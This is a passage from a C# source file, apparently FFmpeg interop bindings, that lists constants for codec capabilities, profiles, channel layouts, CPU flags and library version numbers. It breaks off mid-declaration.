- public const int CODEC_FLAG2_SKIP_MANUAL = 536870912; - - public const int CODEC_CAP_DRAW_HORIZ_BAND = 1; - - public const int CODEC_CAP_DR1 = 2; - - public const int CODEC_CAP_TRUNCATED = 8; - - public const int CODEC_CAP_HWACCEL = 16; - - public const int CODEC_CAP_DELAY = 32; - - public const int CODEC_CAP_SMALL_LAST_FRAME = 64; - - public const int CODEC_CAP_HWACCEL_VDPAU = 128; - - public const int CODEC_CAP_SUBFRAMES = 256; - - public const int CODEC_CAP_EXPERIMENTAL = 512; - - public const int CODEC_CAP_CHANNEL_CONF = 1024; - - public const int CODEC_CAP_NEG_LINESIZES = 2048; - - public const int CODEC_CAP_FRAME_THREADS = 4096; - - public const int CODEC_CAP_SLICE_THREADS = 8192; - - public const int CODEC_CAP_PARAM_CHANGE = 16384; - - public const int CODEC_CAP_AUTO_THREADS = 32768; - - public const int CODEC_CAP_VARIABLE_FRAME_SIZE = 65536; - - public const int CODEC_CAP_INTRA_ONLY = 1073741824; - - public const uint CODEC_CAP_LOSSLESS = 2147483648u; - - public const int HWACCEL_CODEC_CAP_EXPERIMENTAL = 512; - - public const int MB_TYPE_INTRA4x4 = 1; - - public const int MB_TYPE_INTRA16x16 = 2; - - public const int MB_TYPE_INTRA_PCM = 4; - - public const int MB_TYPE_16x16 = 8; - - public const int MB_TYPE_16x8 = 16; - - public const int MB_TYPE_8x16 = 32; - - public const int MB_TYPE_8x8 = 64; - - public const int MB_TYPE_INTERLACED = 128; - - public const int MB_TYPE_DIRECT2 = 256; - - public const int MB_TYPE_ACPRED = 512; - - public const int MB_TYPE_GMC = 1024; - - public const int MB_TYPE_SKIP = 2048; - - public const int MB_TYPE_P0L0 = 4096; - - public const int MB_TYPE_P1L0 = 8192; - - public const int MB_TYPE_P0L1 = 16384; - - public const int MB_TYPE_P1L1 = 32768; - - public const int MB_TYPE_L0 = 12288; - - public const int MB_TYPE_L1 = 49152; - - public const int MB_TYPE_L0L1 = 61440; - - public const int MB_TYPE_QUANT = 65536; - - public const int MB_TYPE_CBP = 131072; - - public const int FF_QSCALE_TYPE_MPEG1 = 0; - - public const int FF_QSCALE_TYPE_MPEG2 = 1; - - public const int FF_QSCALE_TYPE_H264 = 2; - - public const int FF_QSCALE_TYPE_VP56 = 3; - - public const int AV_GET_BUFFER_FLAG_REF = 1; - - public const int AV_PKT_FLAG_KEY = 1; - - public const int AV_PKT_FLAG_CORRUPT = 2; - - public const int FF_COMPRESSION_DEFAULT = -1; - - public const int FF_ASPECT_EXTENDED = 15; - - public const int FF_RC_STRATEGY_XVID = 1; - - public const int FF_PRED_LEFT = 0; - - public const int FF_PRED_PLANE = 1; - - public const int FF_PRED_MEDIAN = 2; - - public const int FF_CMP_SAD = 0; - - public const int FF_CMP_SSE = 1; - - public const int FF_CMP_SATD = 2; - - public const int FF_CMP_DCT = 3; - - public const int FF_CMP_PSNR = 4; - - public const int FF_CMP_BIT = 5; - - public const int FF_CMP_RD = 6; - - public const int FF_CMP_ZERO = 7; - - public const int FF_CMP_VSAD = 8; - - public const int FF_CMP_VSSE = 9; - - public const int FF_CMP_NSSE = 10; - - public const int FF_CMP_W53 = 11; - - public const int FF_CMP_W97 = 12; - - public const int FF_CMP_DCTMAX = 13; - - public const int FF_CMP_DCT264 = 14; - - public const int FF_CMP_CHROMA = 256; - - public const int FF_DTG_AFD_SAME = 8; - - public const int FF_DTG_AFD_4_3 = 9; - - public const int FF_DTG_AFD_16_9 = 10; - - public const int FF_DTG_AFD_14_9 = 11; - - public const int FF_DTG_AFD_4_3_SP_14_9 = 13; - - public const int FF_DTG_AFD_16_9_SP_14_9 = 14; - - public const int FF_DTG_AFD_SP_4_3 = 15; - - public const int FF_DEFAULT_QUANT_BIAS = 999999; - - public const int SLICE_FLAG_CODED_ORDER = 1; - - public const int SLICE_FLAG_ALLOW_FIELD = 2; - - public const int SLICE_FLAG_ALLOW_PLANE = 4; - - public const int FF_MB_DECISION_SIMPLE = 0; - - public const int FF_MB_DECISION_BITS = 1; - - public const int FF_MB_DECISION_RD = 2; - - public const int FF_CODER_TYPE_VLC = 0; - - public const int FF_CODER_TYPE_AC = 1; - - public const int FF_CODER_TYPE_RAW = 2; - - public const int FF_CODER_TYPE_RLE = 3; - - public const int FF_CODER_TYPE_DEFLATE = 4; - - public const int FF_BUG_AUTODETECT = 1; - - public const int FF_BUG_OLD_MSMPEG4 = 2; - - public const int FF_BUG_XVID_ILACE = 4; - - public const int FF_BUG_UMP4 = 8; - - public const int FF_BUG_NO_PADDING = 16; - - public const int FF_BUG_AMV = 32; - - public const int FF_BUG_AC_VLC = 0; - - public const int FF_BUG_QPEL_CHROMA = 64; - - public const int FF_BUG_STD_QPEL = 128; - - public const int FF_BUG_QPEL_CHROMA2 = 256; - - public const int FF_BUG_DIRECT_BLOCKSIZE = 512; - - public const int FF_BUG_EDGE = 1024; - - public const int FF_BUG_HPEL_CHROMA = 2048; - - public const int FF_BUG_DC_CLIP = 4096; - - public const int FF_BUG_MS = 8192; - - public const int FF_BUG_TRUNCATED = 16384; - - public const int FF_COMPLIANCE_VERY_STRICT = 2; - - public const int FF_COMPLIANCE_STRICT = 1; - - public const int FF_COMPLIANCE_NORMAL = 0; - - public const int FF_COMPLIANCE_UNOFFICIAL = -1; - - public const int FF_COMPLIANCE_EXPERIMENTAL = -2; - - public const int FF_EC_GUESS_MVS = 1; - - public const int FF_EC_DEBLOCK = 2; - - public const int FF_EC_FAVOR_INTER = 256; - - public const int FF_DEBUG_PICT_INFO = 1; - - public const int FF_DEBUG_RC = 2; - - public const int FF_DEBUG_BITSTREAM = 4; - - public const int FF_DEBUG_MB_TYPE = 8; - - public const int FF_DEBUG_QP = 16; - - public const int FF_DEBUG_MV = 32; - - public const int FF_DEBUG_DCT_COEFF = 64; - - public const int FF_DEBUG_SKIP = 128; - - public const int FF_DEBUG_STARTCODE = 256; - - public const int FF_DEBUG_PTS = 512; - - public const int FF_DEBUG_ER = 1024; - - public const int FF_DEBUG_MMCO = 2048; - - public const int FF_DEBUG_BUGS = 4096; - - public const int FF_DEBUG_VIS_QP = 8192; - - public const int FF_DEBUG_VIS_MB_TYPE = 16384; - - public const int FF_DEBUG_BUFFERS = 32768; - - public const int FF_DEBUG_THREADS = 65536; - - public const int FF_DEBUG_GREEN_MD = 8388608; - - public const int FF_DEBUG_NOMC = 16777216; - - public const int FF_DEBUG_VIS_MV_P_FOR = 1; - - public const int FF_DEBUG_VIS_MV_B_FOR = 2; - - public const int FF_DEBUG_VIS_MV_B_BACK = 4; - - public const int AV_EF_CRCCHECK = 1; - - public const int AV_EF_BITSTREAM = 2; - - public const int AV_EF_BUFFER = 4; - - public const int AV_EF_EXPLODE = 8; - - public const int AV_EF_IGNORE_ERR = 32768; - - public const int AV_EF_CAREFUL = 65536; - - public const int AV_EF_COMPLIANT = 131072; - - public const int AV_EF_AGGRESSIVE = 262144; - - public const int FF_DCT_AUTO = 0; - - public const int FF_DCT_FASTINT = 1; - - public const int FF_DCT_INT = 2; - - public const int FF_DCT_MMX = 3; - - public const int FF_DCT_ALTIVEC = 5; - - public const int FF_DCT_FAAN = 6; - - public const int FF_IDCT_AUTO = 0; - - public const int FF_IDCT_INT = 1; - - public const int FF_IDCT_SIMPLE = 2; - - public const int FF_IDCT_SIMPLEMMX = 3; - - public const int FF_IDCT_ARM = 7; - - public const int FF_IDCT_ALTIVEC = 8; - - public const int FF_IDCT_SH4 = 9; - - public const int FF_IDCT_SIMPLEARM = 10; - - public const int FF_IDCT_IPP = 13; - - public const int FF_IDCT_XVID = 14; - - public const int FF_IDCT_XVIDMMX = 14; - - public const int FF_IDCT_SIMPLEARMV5TE = 16; - - public const int FF_IDCT_SIMPLEARMV6 = 17; - - public const int FF_IDCT_SIMPLEVIS = 18; - - public const int FF_IDCT_FAAN = 20; - - public const int FF_IDCT_SIMPLENEON = 22; - - public const int FF_IDCT_SIMPLEALPHA = 23; - - public const int FF_IDCT_SIMPLEAUTO = 128; - - public const int FF_THREAD_FRAME = 1; - - public const int FF_THREAD_SLICE = 2; - - public const int FF_PROFILE_UNKNOWN = -99; - - public const int FF_PROFILE_RESERVED = -100; - - public const int FF_PROFILE_AAC_MAIN = 0; - - public const int FF_PROFILE_AAC_LOW = 1; - - public const int FF_PROFILE_AAC_SSR = 2; - - public const int FF_PROFILE_AAC_LTP = 3; - - public const int FF_PROFILE_AAC_HE = 4; - - public const int FF_PROFILE_AAC_HE_V2 = 28; - - public const int FF_PROFILE_AAC_LD = 22; - - public const int FF_PROFILE_AAC_ELD = 38; - - public const int FF_PROFILE_MPEG2_AAC_LOW = 128; - - public const int FF_PROFILE_MPEG2_AAC_HE = 131; - - public const int FF_PROFILE_DTS = 20; - - public const int FF_PROFILE_DTS_ES = 30; - - public const int FF_PROFILE_DTS_96_24 = 40; - - public const int FF_PROFILE_DTS_HD_HRA = 50; - - public const int FF_PROFILE_DTS_HD_MA = 60; - - public const int FF_PROFILE_DTS_EXPRESS = 70; - - public const int FF_PROFILE_MPEG2_422 = 0; - - public const int FF_PROFILE_MPEG2_HIGH = 1; - - public const int FF_PROFILE_MPEG2_SS = 2; - - public const int FF_PROFILE_MPEG2_SNR_SCALABLE = 3; - - public const int FF_PROFILE_MPEG2_MAIN = 4; - - public const int FF_PROFILE_MPEG2_SIMPLE = 5; - - public const int FF_PROFILE_H264_CONSTRAINED = 512; - - public const int FF_PROFILE_H264_INTRA = 2048; - - public const int FF_PROFILE_H264_BASELINE = 66; - - public const int FF_PROFILE_H264_CONSTRAINED_BASELINE = 578; - - public const int FF_PROFILE_H264_MAIN = 77; - - public const int FF_PROFILE_H264_EXTENDED = 88; - - public const int FF_PROFILE_H264_HIGH = 100; - - public const int FF_PROFILE_H264_HIGH_10 = 110; - - public const int FF_PROFILE_H264_HIGH_10_INTRA = 2158; - - public const int FF_PROFILE_H264_HIGH_422 = 122; - - public const int FF_PROFILE_H264_HIGH_422_INTRA = 2170; - - public const int FF_PROFILE_H264_HIGH_444 = 144; - - public const int FF_PROFILE_H264_HIGH_444_PREDICTIVE = 244; - - public const int FF_PROFILE_H264_HIGH_444_INTRA = 2292; - - public const int FF_PROFILE_H264_CAVLC_444 = 44; - - public const int FF_PROFILE_VC1_SIMPLE = 0; - - public const int FF_PROFILE_VC1_MAIN = 1; - - public const int FF_PROFILE_VC1_COMPLEX = 2; - - public const int FF_PROFILE_VC1_ADVANCED = 3; - - public const int FF_PROFILE_MPEG4_SIMPLE = 0; - - public const int FF_PROFILE_MPEG4_SIMPLE_SCALABLE = 1; - - public const int FF_PROFILE_MPEG4_CORE = 2; - - public const int FF_PROFILE_MPEG4_MAIN = 3; - - public const int FF_PROFILE_MPEG4_N_BIT = 4; - - public const int FF_PROFILE_MPEG4_SCALABLE_TEXTURE = 5; - - public const int FF_PROFILE_MPEG4_SIMPLE_FACE_ANIMATION = 6; - - public const int FF_PROFILE_MPEG4_BASIC_ANIMATED_TEXTURE = 7; - - public const int FF_PROFILE_MPEG4_HYBRID = 8; - - public const int FF_PROFILE_MPEG4_ADVANCED_REAL_TIME = 9; - - public const int FF_PROFILE_MPEG4_CORE_SCALABLE = 10; - - public const int FF_PROFILE_MPEG4_ADVANCED_CODING = 11; - - public const int FF_PROFILE_MPEG4_ADVANCED_CORE = 12; - - public const int FF_PROFILE_MPEG4_ADVANCED_SCALABLE_TEXTURE = 13; - - public const int FF_PROFILE_MPEG4_SIMPLE_STUDIO = 14; - - public const int FF_PROFILE_MPEG4_ADVANCED_SIMPLE = 15; - - public const int FF_PROFILE_JPEG2000_CSTREAM_RESTRICTION_0 = 0; - - public const int FF_PROFILE_JPEG2000_CSTREAM_RESTRICTION_1 = 1; - - public const int FF_PROFILE_JPEG2000_CSTREAM_NO_RESTRICTION = 2; - - public const int FF_PROFILE_JPEG2000_DCINEMA_2K = 3; - - public const int FF_PROFILE_JPEG2000_DCINEMA_4K = 4; - - public const int FF_PROFILE_VP9_0 = 0; - - public const int FF_PROFILE_VP9_1 = 1; - - public const int FF_PROFILE_VP9_2 = 2; - - public const int FF_PROFILE_VP9_3 = 3; - - public const int FF_PROFILE_HEVC_MAIN = 1; - - public const int FF_PROFILE_HEVC_MAIN_10 = 2; - - public const int FF_PROFILE_HEVC_MAIN_STILL_PICTURE = 3; - - public const int FF_PROFILE_HEVC_REXT = 4; - - public const int FF_LEVEL_UNKNOWN = -99; - - public const int FF_SUB_CHARENC_MODE_DO_NOTHING = -1; - - public const int FF_SUB_CHARENC_MODE_AUTOMATIC = 0; - - public const int FF_SUB_CHARENC_MODE_PRE_DECODER = 1; - - public const int FF_CODEC_PROPERTY_LOSSLESS = 1; - - public const int FF_CODEC_PROPERTY_CLOSED_CAPTIONS = 2; - - public const int AV_HWACCEL_FLAG_IGNORE_LEVEL = 1; - - public const int AV_HWACCEL_FLAG_ALLOW_HIGH_DEPTH = 2; - - public const int AV_SUBTITLE_FLAG_FORCED = 1; - - public const int AV_PARSER_PTS_NB = 4; - - public const int PARSER_FLAG_COMPLETE_FRAMES = 1; - - public const int PARSER_FLAG_ONCE = 2; - - public const int PARSER_FLAG_FETCHED_OFFSET = 4; - - public const int PARSER_FLAG_USE_CODEC_TS = 4096; - - private const string libavcodec = "avcodec-57"; - - public const int LIBAVDEVICE_VERSION_MAJOR = 57; - - public const int LIBAVDEVICE_VERSION_MINOR = 0; - - public const int LIBAVDEVICE_VERSION_MICRO = 101; - - private const string libavdevice = "avdevice-57"; - - public const int LIBAVFILTER_VERSION_MAJOR = 6; - - public const int LIBAVFILTER_VERSION_MINOR = 31; - - public const int LIBAVFILTER_VERSION_MICRO = 100; - - public const bool FF_API_OLD_FILTER_OPTS = true; - - public const bool FF_API_OLD_FILTER_OPTS_ERROR = true; - - public const bool FF_API_AVFILTER_OPEN = true; - - public const bool FF_API_AVFILTER_INIT_FILTER = true; - - public const bool FF_API_OLD_FILTER_REGISTER = true; - - public const bool FF_API_NOCONST_GET_NAME = true; - - public const int AVFILTER_FLAG_DYNAMIC_INPUTS = 1; - - public const int AVFILTER_FLAG_DYNAMIC_OUTPUTS = 2; - - public const int AVFILTER_FLAG_SLICE_THREADS = 4; - - public const int AVFILTER_FLAG_SUPPORT_TIMELINE_GENERIC = 65536; - - public const int AVFILTER_FLAG_SUPPORT_TIMELINE_INTERNAL = 131072; - - public const int AVFILTER_FLAG_SUPPORT_TIMELINE = 196608; - - public const int AVFILTER_THREAD_SLICE = 1; - - public const int AVFILTER_CMD_FLAG_ONE = 1; - - public const int AVFILTER_CMD_FLAG_FAST = 2; - - public const int AV_BUFFERSINK_FLAG_PEEK = 1; - - public const int AV_BUFFERSINK_FLAG_NO_REQUEST = 2; - - private const string libavfilter = "avfilter-6"; - - public const int LIBAVFORMAT_VERSION_MAJOR = 57; - - public const int LIBAVFORMAT_VERSION_MINOR = 25; - - public const int LIBAVFORMAT_VERSION_MICRO = 100; - - public const bool FF_API_LAVF_BITEXACT = true; - - public const bool FF_API_LAVF_FRAC = true; - - public const bool FF_API_LAVF_CODEC_TB = true; - - public const bool FF_API_URL_FEOF = true; - - public const bool FF_API_LAVF_FMT_RAWPICTURE = true; - - public const bool FF_API_COMPUTE_PKT_FIELDS2 = true; - - public const bool FF_API_OLD_OPEN_CALLBACKS = true; - - public const int FF_API_R_FRAME_RATE = 1; - - public const int AVIO_SEEKABLE_NORMAL = 1; - - public const int AVSEEK_SIZE = 65536; - - public const int AVSEEK_FORCE = 131072; - - public const int AVIO_FLAG_READ = 1; - - public const int AVIO_FLAG_WRITE = 2; - - public const int AVIO_FLAG_READ_WRITE = 3; - - public const int AVIO_FLAG_NONBLOCK = 8; - - public const int AVIO_FLAG_DIRECT = 32768; - - public const int AVPROBE_SCORE_RETRY = 25; - - public const int AVPROBE_SCORE_STREAM_RETRY = 24; - - public const int AVPROBE_SCORE_EXTENSION = 50; - - public const int AVPROBE_SCORE_MIME = 75; - - public const int AVPROBE_SCORE_MAX = 100; - - public const int AVPROBE_PADDING_SIZE = 32; - - public const int AVFMT_NOFILE = 1; - - public const int AVFMT_NEEDNUMBER = 2; - - public const int AVFMT_SHOW_IDS = 8; - - public const int AVFMT_RAWPICTURE = 32; - - public const int AVFMT_GLOBALHEADER = 64; - - public const int AVFMT_NOTIMESTAMPS = 128; - - public const int AVFMT_GENERIC_INDEX = 256; - - public const int AVFMT_TS_DISCONT = 512; - - public const int AVFMT_VARIABLE_FPS = 1024; - - public const int AVFMT_NODIMENSIONS = 2048; - - public const int AVFMT_NOSTREAMS = 4096; - - public const int AVFMT_NOBINSEARCH = 8192; - - public const int AVFMT_NOGENSEARCH = 16384; - - public const int AVFMT_NO_BYTE_SEEK = 32768; - - public const int AVFMT_ALLOW_FLUSH = 65536; - - public const int AVFMT_TS_NONSTRICT = 131072; - - public const int AVFMT_TS_NEGATIVE = 262144; - - public const int AVFMT_SEEK_TO_PTS = 67108864; - - public const int AVINDEX_KEYFRAME = 1; - - public const int AV_DISPOSITION_DEFAULT = 1; - - public const int AV_DISPOSITION_DUB = 2; - - public const int AV_DISPOSITION_ORIGINAL = 4; - - public const int AV_DISPOSITION_COMMENT = 8; - - public const int AV_DISPOSITION_LYRICS = 16; - - public const int AV_DISPOSITION_KARAOKE = 32; - - public const int AV_DISPOSITION_FORCED = 64; - - public const int AV_DISPOSITION_HEARING_IMPAIRED = 128; - - public const int AV_DISPOSITION_VISUAL_IMPAIRED = 256; - - public const int AV_DISPOSITION_CLEAN_EFFECTS = 512; - - public const int AV_DISPOSITION_ATTACHED_PIC = 1024; - - public const int AV_DISPOSITION_CAPTIONS = 65536; - - public const int AV_DISPOSITION_DESCRIPTIONS = 131072; - - public const int AV_DISPOSITION_METADATA = 262144; - - public const int AV_PTS_WRAP_IGNORE = 0; - - public const int AV_PTS_WRAP_ADD_OFFSET = 1; - - public const int AV_PTS_WRAP_SUB_OFFSET = -1; - - public const int AVSTREAM_EVENT_FLAG_METADATA_UPDATED = 1; - - public const int MAX_STD_TIMEBASES = 399; - - public const int MAX_REORDER_DELAY = 16; - - public const int AV_PROGRAM_RUNNING = 1; - - public const int AVFMTCTX_NOHEADER = 1; - - public const int AVFMT_FLAG_GENPTS = 1; - - public const int AVFMT_FLAG_IGNIDX = 2; - - public const int AVFMT_FLAG_NONBLOCK = 4; - - public const int AVFMT_FLAG_IGNDTS = 8; - - public const int AVFMT_FLAG_NOFILLIN = 16; - - public const int AVFMT_FLAG_NOPARSE = 32; - - public const int AVFMT_FLAG_NOBUFFER = 64; - - public const int AVFMT_FLAG_CUSTOM_IO = 128; - - public const int AVFMT_FLAG_DISCARD_CORRUPT = 256; - - public const int AVFMT_FLAG_FLUSH_PACKETS = 512; - - public const int AVFMT_FLAG_BITEXACT = 1024; - - public const int AVFMT_FLAG_MP4A_LATM = 32768; - - public const int AVFMT_FLAG_SORT_DTS = 65536; - - public const int AVFMT_FLAG_PRIV_OPT = 131072; - - public const int AVFMT_FLAG_KEEP_SIDE_DATA = 262144; - - public const int AVFMT_FLAG_FAST_SEEK = 524288; - - public const int FF_FDEBUG_TS = 1; - - public const int AVFMT_EVENT_FLAG_METADATA_UPDATED = 1; - - public const int AVFMT_AVOID_NEG_TS_AUTO = -1; - - public const int AVFMT_AVOID_NEG_TS_MAKE_NON_NEGATIVE = 1; - - public const int AVFMT_AVOID_NEG_TS_MAKE_ZERO = 2; - - public const int AVSEEK_FLAG_BACKWARD = 1; - - public const int AVSEEK_FLAG_BYTE = 2; - - public const int AVSEEK_FLAG_ANY = 4; - - public const int AVSEEK_FLAG_FRAME = 8; - - private const string libavformat = "avformat-57"; - - public const int FF_LAMBDA_SHIFT = 7; - - public const int FF_LAMBDA_SCALE = 128; - - public const int FF_QP2LAMBDA = 118; - - public const int FF_LAMBDA_MAX = 32767; - - public const int FF_QUALITY_SCALE = 128; - - public const ulong AV_NOPTS_VALUE = 9223372036854775808uL; - - public const int AV_TIME_BASE = 1000000; - - public const int LIBAVUTIL_VERSION_MAJOR = 55; - - public const int LIBAVUTIL_VERSION_MINOR = 17; - - public const int LIBAVUTIL_VERSION_MICRO = 103; - - public const bool FF_API_VDPAU = true; - - public const bool FF_API_XVMC = true; - - public const bool FF_API_OPT_TYPE_METADATA = true; - - public const bool FF_API_DLOG = true; - - public const bool FF_API_VAAPI = true; - - public const bool FF_API_FRAME_QP = true; - - public const bool FF_API_PLUS1_MINUS1 = true; - - public const bool FF_API_ERROR_FRAME = true; - - public const bool FF_API_CRC_BIG_TABLE = true; - - public const int AV_HAVE_BIGENDIAN = 0; - - public const int AV_HAVE_FAST_UNALIGNED = 1; - - public const int AV_HAVE_INCOMPATIBLE_LIBAV_ABI = 0; - - public const int AVERROR_EXPERIMENTAL = -733130664; - - public const int AVERROR_INPUT_CHANGED = -1668179713; - - public const int AVERROR_OUTPUT_CHANGED = -1668179714; - - public const int AV_ERROR_MAX_STRING_SIZE = 64; - - public const double M_E = Math.E; - - public const double M_LN2 = 0.6931471805599453; - - public const double M_LN10 = 2.302585092994046; - - public const double M_LOG2_10 = 3.321928094887362; - - public const double M_PHI = 1.618033988749895; - - public const double M_PI = Math.PI; - - public const double M_PI_2 = Math.PI / 2.0; - - public const double M_SQRT1_2 = 0.7071067811865476; - - public const double M_SQRT2 = 1.4142135623730951; - - public const int AV_LOG_QUIET = -8; - - public const int AV_LOG_PANIC = 0; - - public const int AV_LOG_FATAL = 8; - - public const int AV_LOG_ERROR = 16; - - public const int AV_LOG_WARNING = 24; - - public const int AV_LOG_INFO = 32; - - public const int AV_LOG_VERBOSE = 40; - - public const int AV_LOG_DEBUG = 48; - - public const int AV_LOG_TRACE = 56; - - public const int AV_LOG_MAX_OFFSET = 64; - - public const int AV_LOG_SKIP_REPEATED = 1; - - public const int AV_LOG_PRINT_LEVEL = 2; - - public const int AVPALETTE_SIZE = 1024; - - public const int AVPALETTE_COUNT = 256; - - public const int AV_CH_FRONT_LEFT = 1; - - public const int AV_CH_FRONT_RIGHT = 2; - - public const int AV_CH_FRONT_CENTER = 4; - - public const int AV_CH_LOW_FREQUENCY = 8; - - public const int AV_CH_BACK_LEFT = 16; - - public const int AV_CH_BACK_RIGHT = 32; - - public const int AV_CH_FRONT_LEFT_OF_CENTER = 64; - - public const int AV_CH_FRONT_RIGHT_OF_CENTER = 128; - - public const int AV_CH_BACK_CENTER = 256; - - public const int AV_CH_SIDE_LEFT = 512; - - public const int AV_CH_SIDE_RIGHT = 1024; - - public const int AV_CH_TOP_CENTER = 2048; - - public const int AV_CH_TOP_FRONT_LEFT = 4096; - - public const int AV_CH_TOP_FRONT_CENTER = 8192; - - public const int AV_CH_TOP_FRONT_RIGHT = 16384; - - public const int AV_CH_TOP_BACK_LEFT = 32768; - - public const int AV_CH_TOP_BACK_CENTER = 65536; - - public const int AV_CH_TOP_BACK_RIGHT = 131072; - - public const int AV_CH_STEREO_LEFT = 536870912; - - public const int AV_CH_STEREO_RIGHT = 1073741824; - - public const ulong AV_CH_WIDE_LEFT = 2147483648uL; - - public const ulong AV_CH_WIDE_RIGHT = 4294967296uL; - - public const ulong AV_CH_SURROUND_DIRECT_LEFT = 8589934592uL; - - public const ulong AV_CH_SURROUND_DIRECT_RIGHT = 17179869184uL; - - public const ulong AV_CH_LOW_FREQUENCY_2 = 34359738368uL; - - public const ulong AV_CH_LAYOUT_NATIVE = 9223372036854775808uL; - - public const int AV_CH_LAYOUT_MONO = 4; - - public const int AV_CH_LAYOUT_STEREO = 3; - - public const int AV_CH_LAYOUT_2POINT1 = 11; - - public const int AV_CH_LAYOUT_2_1 = 259; - - public const int AV_CH_LAYOUT_SURROUND = 7; - - public const int AV_CH_LAYOUT_3POINT1 = 15; - - public const int AV_CH_LAYOUT_4POINT0 = 263; - - public const int AV_CH_LAYOUT_4POINT1 = 271; - - public const int AV_CH_LAYOUT_2_2 = 1539; - - public const int AV_CH_LAYOUT_QUAD = 51; - - public const int AV_CH_LAYOUT_5POINT0 = 1543; - - public const int AV_CH_LAYOUT_5POINT1 = 1551; - - public const int AV_CH_LAYOUT_5POINT0_BACK = 55; - - public const int AV_CH_LAYOUT_5POINT1_BACK = 63; - - public const int AV_CH_LAYOUT_6POINT0 = 1799; - - public const int AV_CH_LAYOUT_6POINT0_FRONT = 1731; - - public const int AV_CH_LAYOUT_HEXAGONAL = 311; - - public const int AV_CH_LAYOUT_6POINT1 = 1807; - - public const int AV_CH_LAYOUT_6POINT1_BACK = 319; - - public const int AV_CH_LAYOUT_6POINT1_FRONT = 1739; - - public const int AV_CH_LAYOUT_7POINT0 = 1591; - - public const int AV_CH_LAYOUT_7POINT0_FRONT = 1735; - - public const int AV_CH_LAYOUT_7POINT1 = 1599; - - public const int AV_CH_LAYOUT_7POINT1_WIDE = 1743; - - public const int AV_CH_LAYOUT_7POINT1_WIDE_BACK = 255; - - public const int AV_CH_LAYOUT_OCTAGONAL = 1847; - - public const ulong AV_CH_LAYOUT_HEXADECAGONAL = 6442710839uL; - - public const int AV_CH_LAYOUT_STEREO_DOWNMIX = 1610612736; - - public const uint AV_CPU_FLAG_FORCE = 2147483648u; - - public const int AV_CPU_FLAG_MMX = 1; - - public const int AV_CPU_FLAG_MMXEXT = 2; - - public const int AV_CPU_FLAG_MMX2 = 2; - - public const int AV_CPU_FLAG_3DNOW = 4; - - public const int AV_CPU_FLAG_SSE = 8; - - public const int AV_CPU_FLAG_SSE2 = 16; - - public const int AV_CPU_FLAG_SSE2SLOW = 1073741824; - - public const int AV_CPU_FLAG_3DNOWEXT = 32; - - public const int AV_CPU_FLAG_SSE3 = 64; - - public const int AV_CPU_FLAG_SSE3SLOW = 536870912; - - public const int AV_CPU_FLAG_SSSE3 = 128; - - public const int AV_CPU_FLAG_ATOM = 268435456; - - public const int AV_CPU_FLAG_SSE4 = 256; - - public const int AV_CPU_FLAG_SSE42 = 512; - - public const int AV_CPU_FLAG_AESNI = 524288; - - public const int AV_CPU_FLAG_AVX = 16384; - - public const int AV_CPU_FLAG_AVXSLOW = 134217728; - - public const int AV_CPU_FLAG_XOP = 1024; - - public const int AV_CPU_FLAG_FMA4 = 2048; - - public const int AV_CPU_FLAG_CMOV = 4096; - - public const int AV_CPU_FLAG_AVX2 = 32768; - - public const int AV_CPU_FLAG_FMA3 = 65536; - - public const int AV_CPU_FLAG_BMI1 = 131072; - - public const int AV_CPU_FLAG_BMI2 = 262144; - - public const int AV_CPU_FLAG_ALTIVEC = 1; - - public const int AV_CPU_FLAG_VSX = 2; - - public const int AV_CPU_FLAG_POWER8 = 4; - - public const int AV_CPU_FLAG_ARMV5TE = 1; - - public const int AV_CPU_FLAG_ARMV6 = 2; - - public const int AV_CPU_FLAG_ARMV6T2 = 4; - - public const int AV_CPU_FLAG_VFP = 8; - - public const int AV_CPU_FLAG_VFPV3 = 16; - - public const int AV_CPU_FLAG_NEON = 32; - - public const int AV_CPU_FLAG_ARMV8 = 64; - - public const int AV_CPU_FLAG_VFP_VM = 128; - - public const int AV_CPU_FLAG_SETEND = 65536; - - public const int AV_BUFFER_FLAG_READONLY = 1; - - public const int AV_DICT_MATCH_CASE = 1; - - public const int AV_DICT_IGNORE_SUFFIX = 2; - - public const int AV_DICT_DONT_STRDUP_KEY = 4; - - public const int AV_DICT_DONT_STRDUP_VAL = 8; - - public const int AV_DICT_DONT_OVERWRITE = 16; - - public const int AV_DICT_APPEND = 32; - - public const int AV_NUM_DATA_POINTERS = 8; - - public const int AV_FRAME_FLAG_CORRUPT = 1; - - public const int FF_DECODE_ERROR_INVALID_BITSTREAM = 1; - - public const int FF_DECODE_ERROR_MISSING_REFERENCE = 2; - - public const int AV_OPT_FLAG_ENCODING_PARAM = 1; - - public const int AV_OPT_FLAG_DECODING_PARAM = 2; - - public const int AV_OPT_FLAG_METADATA = 4; - - public const int AV_OPT_FLAG_AUDIO_PARAM = 8; - - public const int AV_OPT_FLAG_VIDEO_PARAM = 16; - - public const int AV_OPT_FLAG_SUBTITLE_PARAM = 32; - - public const int AV_OPT_FLAG_EXPORT = 64; - - public const int AV_OPT_FLAG_READONLY = 128; - - public const int AV_OPT_FLAG_FILTERING_PARAM = 65536; - - public const int AV_OPT_SEARCH_CHILDREN = 1; - - public const int AV_OPT_SEARCH_FAKE_OBJ = 2; - - public const int AV_OPT_ALLOW_NULL = 4; - - public const int AV_OPT_MULTI_COMPONENT_RANGE = 4096; - - public const int AV_OPT_SERIALIZE_SKIP_DEFAULTS = 1; - - public const int AV_OPT_SERIALIZE_OPT_FLAGS_EXACT = 2; - - public const int AV_PIX_FMT_FLAG_BE = 1; - - public const int AV_PIX_FMT_FLAG_PAL = 2; - - public const int AV_PIX_FMT_FLAG_BITSTREAM = 4; - - public const int AV_PIX_FMT_FLAG_HWACCEL = 8; - - public const int AV_PIX_FMT_FLAG_PLANAR = 16; - - public const int AV_PIX_FMT_FLAG_RGB = 32; - - public const int AV_PIX_FMT_FLAG_PSEUDOPAL = 64; - - public const int AV_PIX_FMT_FLAG_ALPHA = 128; - - public const int FF_LOSS_RESOLUTION = 1; - - public const int FF_LOSS_DEPTH = 2; - - public const int FF_LOSS_COLORSPACE = 4; - - public const int FF_LOSS_ALPHA = 8; - - public const int FF_LOSS_COLORQUANT = 16; - - public const int FF_LOSS_CHROMA = 32; - - private const string libavutil = "avutil-55"; - - public const int LIBPOSTPROC_VERSION_MAJOR = 54; - - public const int LIBPOSTPROC_VERSION_MINOR = 0; - - public const int LIBPOSTPROC_VERSION_MICRO = 100; - - public const bool FF_API_QP_TYPE = true; - - public const int PP_QUALITY_MAX = 6; - - public const uint PP_CPU_CAPS_MMX = 2147483648u; - - public const int PP_CPU_CAPS_MMX2 = 536870912; - - public const int PP_CPU_CAPS_3DNOW = 1073741824; - - public const int 